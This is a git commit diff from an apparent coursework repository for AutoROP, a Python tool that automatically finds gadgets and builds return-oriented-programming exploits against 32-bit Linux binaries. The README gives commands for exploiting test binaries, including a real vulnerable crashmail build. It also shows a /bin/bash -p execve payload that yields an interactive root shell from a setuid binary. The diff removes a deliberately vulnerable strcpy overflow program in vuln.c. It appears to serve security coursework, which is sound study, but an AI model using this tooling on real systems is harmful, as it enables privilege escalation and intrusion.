readme stuff
This commit is contained in:
parent
055b787c2d
commit
f13ef70767
1
.gitignore
vendored
1
.gitignore
vendored
@ -136,7 +136,6 @@ dmypy.json
|
||||
.vagrant
|
||||
|
||||
# binaries
|
||||
vuln-32
|
||||
core
|
||||
out/*
|
||||
!out/.gitkeep
|
||||
|
2
Makefile
2
Makefile
@ -1,2 +0,0 @@
|
||||
vuln-32:
|
||||
gcc -fno-stack-protector -m32 -static vuln.c -o vuln-32
|
110
README.md
110
README.md
@ -1 +1,109 @@
|
||||
# security-cw
|
||||
# AutoROP
|
||||
|
||||
```console
|
||||
_ ___ _.--. ___ _____ ______ _____ ______ ______
|
||||
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
|
||||
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
|
||||
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
|
||||
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
|
||||
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
|
||||
{_.-``-' {_/
|
||||
|
||||
__ __
|
||||
| _______ _ _ _______ _____ ______ _____ _____ |
|
||||
| |_____| | | | | | |_____/ | | |_____] |
|
||||
| | | |_____| | |_____| | \_ |_____| | |
|
||||
|__ __|
|
||||
```
|
||||
|
||||
## Set up Vagrant
|
||||
The project uses vagrant to ensure consistent results across machines.
|
||||
```sh
|
||||
vagrant up
|
||||
vagrant ssh
|
||||
cd cw
|
||||
```
|
||||
|
||||
Our test environment uses:
|
||||
|
||||
* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider
|
||||
* Ubuntu 18.04, provided by the image `generic/ubuntu1804`
|
||||
* Python 3.9.0
|
||||
* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
|
||||
|
||||
## `autoRop.py`
|
||||
|
||||
Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by:
|
||||
|
||||
1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`.
|
||||
1. Modifying the padding length on the discovery payload until the exploit is successful.
|
||||
1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2.
|
||||
1. Running the program with the target payload.
|
||||
|
||||
## ROP exploit on test binaries
|
||||
All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`.
|
||||
|
||||
### `vuln-32` - Binary using file input
|
||||
This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument.
|
||||
|
||||
```sh
|
||||
python autoRop.py --input_method file --run test-binaries/vuln-32
|
||||
```
|
||||
|
||||
### `null-data-addr` - Binary using file input
|
||||
This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with:
|
||||
```sh
|
||||
$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data "
|
||||
> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32
|
||||
```
|
||||
|
||||
AutoROP handles this and places its data at a
|
||||
```sh
|
||||
python autoRop.py --input_method file --run test-binaries/null-data-addr
|
||||
```
|
||||
|
||||
### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument
|
||||
These binaries are largely similar. They both take the payload as their first argument.
|
||||
|
||||
```sh
|
||||
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86
|
||||
|
||||
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall
|
||||
```
|
||||
|
||||
### `crashmail` - Binary using an optional argument
|
||||
This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json`
|
||||
```json
|
||||
[ "$PAYLOAD$" ]
|
||||
```
|
||||
to `test-binaries/crashmail_exec_args.json`
|
||||
```json
|
||||
[ "SETTINGS", "$PAYLOAD$" ]
|
||||
```
|
||||
like so:
|
||||
```sh
|
||||
python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail
|
||||
```
|
||||
|
||||
This may take a little while due to the fairly large required offset.
|
||||
|
||||
## Changing the `execve` target
|
||||
AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout.
|
||||
|
||||
We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`:
|
||||
```json
|
||||
["/bin/bash", "-p"]
|
||||
```
|
||||
This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`.
|
||||
|
||||
The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory.
|
||||
|
||||
Now we run AutoROP on this binary, and get an interactive root shell:
|
||||
```sh
|
||||
python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid
|
||||
```
|
||||
We can verify this by typing
|
||||
```console
|
||||
whoami
|
||||
```
|
||||
and we get `root`!
|
51
autoRop.py
51
autoRop.py
@ -36,14 +36,14 @@ print(r'''
|
||||
|
||||
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
|
||||
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
|
||||
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
|
||||
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run")
|
||||
arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try")
|
||||
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
|
||||
arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary")
|
||||
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
|
||||
arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed. (default: exec_args.json)")
|
||||
arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary (default: arg)")
|
||||
arg_parser.add_argument("--interactive", action="store_true", default=False, help="Automatically run the ROP on the executable")
|
||||
arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed.")
|
||||
arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try (default: 0)")
|
||||
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try (default: 16384)")
|
||||
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run (default: rop_exec.json)")
|
||||
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file (default: rop.txt)")
|
||||
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
|
||||
|
||||
args = arg_parser.parse_args()
|
||||
|
||||
@ -67,43 +67,50 @@ def run_program(payload: str, **kwargs) -> process:
|
||||
p = None
|
||||
if input_method == 'arg':
|
||||
exec_args[payload_idx] = payload
|
||||
p = process([f'./{exec_file}'] + exec_args, **kwargs)
|
||||
p = process([f'{exec_file}'] + exec_args, **kwargs)
|
||||
elif input_method == 'file':
|
||||
with open('/tmp/input.txt', 'wb') as f:
|
||||
f.write(payload)
|
||||
f.flush()
|
||||
exec_args[payload_idx] = '/tmp/input.txt'
|
||||
p = process([f'./{exec_file}'] + exec_args, **kwargs)
|
||||
p = process([f'{exec_file}'] + exec_args, **kwargs)
|
||||
elif input_method == 'stdin':
|
||||
p = process([f'./{exec_file}'] + exec_args, **kwargs)
|
||||
p = process([f'{exec_file}'] + exec_args, **kwargs)
|
||||
p.send(payload)
|
||||
|
||||
return p
|
||||
|
||||
def find_offset_inc(low: int, high: int):
|
||||
default_padding = 64
|
||||
tmp_rop = '/tmp/rop_file'
|
||||
print(f" ├─[🤔] Generating offset discovery payload...")
|
||||
subprocess.run(
|
||||
result = subprocess.run(
|
||||
[
|
||||
"ROPgadget",
|
||||
"--binary", exec_file,
|
||||
"--ropchain",
|
||||
"--silent",
|
||||
"--paddingLen", str(default_padding),
|
||||
"--ropFile", '/tmp/rop_file',
|
||||
"--ropFile", tmp_rop,
|
||||
"--execFile", 'rop_exec_default.json',
|
||||
],
|
||||
stdout = subprocess.DEVNULL
|
||||
stdout = subprocess.PIPE
|
||||
)
|
||||
with open('/tmp/rop_file', 'rb') as f:
|
||||
original_payload = f.read()[default_padding:]
|
||||
for i in range(low, high + 1):
|
||||
print(f" ├─[🤔] Trying offset {i}...")
|
||||
rop_payload = (b'A' * i) + original_payload
|
||||
proc = run_program(rop_payload)
|
||||
if b'[ Successful ROP! ]' in proc.readall():
|
||||
print(f" └─[😳] Found offset at {i}!\n")
|
||||
return i
|
||||
with open("log/ropgadget.log", "wb") as f:
|
||||
f.write(result.stdout)
|
||||
|
||||
try:
|
||||
with open(tmp_rop, 'rb') as f:
|
||||
original_payload = f.read()[default_padding:]
|
||||
for i in range(low, high + 1):
|
||||
print(f" ├─[🤔] Trying offset {i}...")
|
||||
rop_payload = (b'A' * i) + original_payload
|
||||
proc = run_program(rop_payload)
|
||||
if b'[ Successful ROP! ]' in proc.readall():
|
||||
print(f" └─[😳] Found offset at {i}!\n")
|
||||
return i
|
||||
except FileNotFoundError as e:
|
||||
print(f" └─[😥] Could not find {e.filename}, check log/ropgadget.log for details")
|
||||
|
||||
return -1
|
||||
|
||||
|
3
init.sh
3
init.sh
@ -37,6 +37,9 @@ cd /home/vagrant/cw/Ropper && git submodule init && git submodule update
|
||||
cd /home/vagrant/ && git clone https://github.com/Z3Prover/z3.git && cd z3 && python3 scripts/mk_make.py && cd build && make -j$(nproc) && sudo make install
|
||||
cp -R /home/vagrant/z3/build/python/z3 /home/vagrant/cw/Ropper
|
||||
|
||||
cp /home/vagrant/cw/test-binaries/vuln-32 /home/vagrant/vuln-32-setuid
|
||||
sudo chown root /home/vagrant/vuln-32-setuid
|
||||
sudo chmod u+s /home/vagrant/vuln-32-setuid
|
||||
|
||||
sudo apt-get clean
|
||||
|
||||
|
1
rop_exec_bash.json
Normal file
1
rop_exec_bash.json
Normal file
@ -0,0 +1 @@
|
||||
["/bin/bash", "-p"]
|
1
test-binaries/crashmail_exec_args.json
Normal file
1
test-binaries/crashmail_exec_args.json
Normal file
@ -0,0 +1 @@
|
||||
[ "SETTINGS", "$PAYLOAD$" ]
|
Binary file not shown.
BIN
test-binaries/null-data-addr-src/null-data-addr
Executable file
BIN
test-binaries/null-data-addr-src/null-data-addr
Executable file
Binary file not shown.
BIN
test-binaries/vuln-32
Executable file
BIN
test-binaries/vuln-32
Executable file
Binary file not shown.
37
vuln.c
37
vuln.c
@ -1,37 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
int copyData(char *string)
|
||||
{
|
||||
char buf[32];
|
||||
strcpy(buf, string);
|
||||
return (0);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char buffer[700];
|
||||
FILE *file;
|
||||
if (argc !=2)
|
||||
{
|
||||
printf("[*] invalid arguments!\n [*] > %s file_name\n",argv[0]);
|
||||
exit(0);
|
||||
}
|
||||
printf("opening file\n");
|
||||
file = fopen(argv[1],"rb");
|
||||
if (!file)
|
||||
{
|
||||
//printf("file not opened %s", strerror(errno));
|
||||
fprintf(stderr,"file not opened %s", strerror(errno));
|
||||
//printf("error");
|
||||
return (0);
|
||||
}
|
||||
printf("file opened\n");
|
||||
fread(buffer, 699,1,file);
|
||||
fclose(file);
|
||||
copyData(buffer);
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user